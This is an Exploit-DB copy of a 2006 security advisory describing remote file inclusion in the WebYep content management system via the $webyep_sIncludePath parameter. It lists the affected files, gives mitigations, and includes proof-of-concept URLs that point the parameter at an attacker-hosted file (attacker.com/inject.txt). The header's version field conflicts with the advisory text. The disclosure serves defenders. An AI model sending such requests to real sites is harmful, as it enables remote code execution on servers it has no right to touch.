ECHO_ADV_48$2006

vendor:

WebYep

by:

Dedi Dwianto

CVSS

CRITICAL

Multiple Remote File Inclusion Vulnerability

CWE

Product Name: WebYep

Affected Version From: 1.1.2009

Affected Version To: 1.1.2009

Patch Exists: NO

Related CWE: N/A

CPE: a:obdev:webyep

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Input passed to the "$webyep_sIncludePath" parameter in WYApplication.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources.

Mitigation:

No solution available at this time.

Source

Exploit-DB raw data:

ECHO_ADV_48$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_48$2006] WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author          : Dedi Dwianto a.k.a the_day
Date Found      : October, 05th 2006
Location        : Indonesia, Jakarta
web             : http://advisories.echo.or.id/adv/adv48-theday-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application     : WebYep
version         : <=1.1.9
URL             : http://www.obdev.at

WebYep is a compact Web Content Management System for extremely simple creation of editable
web pages. It is a low priced alternative for small to medium web sites
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

In folder webyep-system/programm/lib found vulnerability script WYApplication.php
---------------------------WYApplication.php---------------------------------------
....
<?

 include_once("$webyep_sIncludePath/lib/WYApplication.php");
 include_once("$webyep_sIncludePath/lib/WYHTMLTag.php");

...
----------------------------------------------------------

Input passed to the "$webyep_sIncludePath" parameter in WYApplication.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

webyep-system/programm/lib/WYApplication.php
webyep-system/programm/lib/WYDocument.php
webyep-system/programm/lib/WYEditor.php
webyep-system/programm/lib/WYElement.php
webyep-system/programm/lib/WYFile.php
webyepasystem/programm/lib/WYHTMLTag.php
webyep-system/programm/lib/WYImage.php
webyep-system/programm/lib/WYLanguage.php
webyep-system/programm/lib/WYLink.php
webyep-system/programm/lib/WYPath.php
webyep-system/programm/lib/WYPopupWindowLink.php
webyep-system/programm/lib/WYSelectMenu.php
webyep-system/programm/lib/WYTextArea.php
webyep-system/programm/elements/WYGalleryElement.php
webyep-system/programm/elements/WYGuestbookElement.php
webyep-system/programm/elements/WYImageElement.php
webyep-system/programm/elements/WYLogonButtonElement.php
webyep-system/programm/elements/WYLongTextElement.php
webyep-system/programm/elements/WYLoopElement.php
webyep-system/programm/elements/WYMenuElement.php
webyep-system/programm/elements/WYShortTextElement.php
webyep-system/programm/webyep.php

Proof Of Concept:
~~~~~~~~~~~~~~

http://target.com/[webYep_path]/webyep-system/programm/lib/WYApplication.php?webyep_sIncludePath=http://attacker.com/inject.txt?
http://target.com/[webYep_path]/webyep-system/programm/lib/WYDocument.php?webyep_sIncludePath=http://attacker.com/inject.txt?
http://target.com/[webYep_path]/webyep-system/programm/webyep.php?webyep_sIncludePath=http://attacker.com/inject.txt?
http://target.com/[webYep_path]/webyep-system/programm/elements/WYGalleryElement.php?webyep_sIncludePath=http://attacker.com/inject.txt?

Solution:
~~~~~~
- Sanitize variable $webyep_sIncludePath on affected files.
- Turn off register_globals

Timeline:
~~~~~~
05 - 10 - 2006 Bugs Found
05 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
    EcHo Research & Development Center
    the_day[at]echo[dot]or[dot]id

# milw0rm.com [2006-10-09]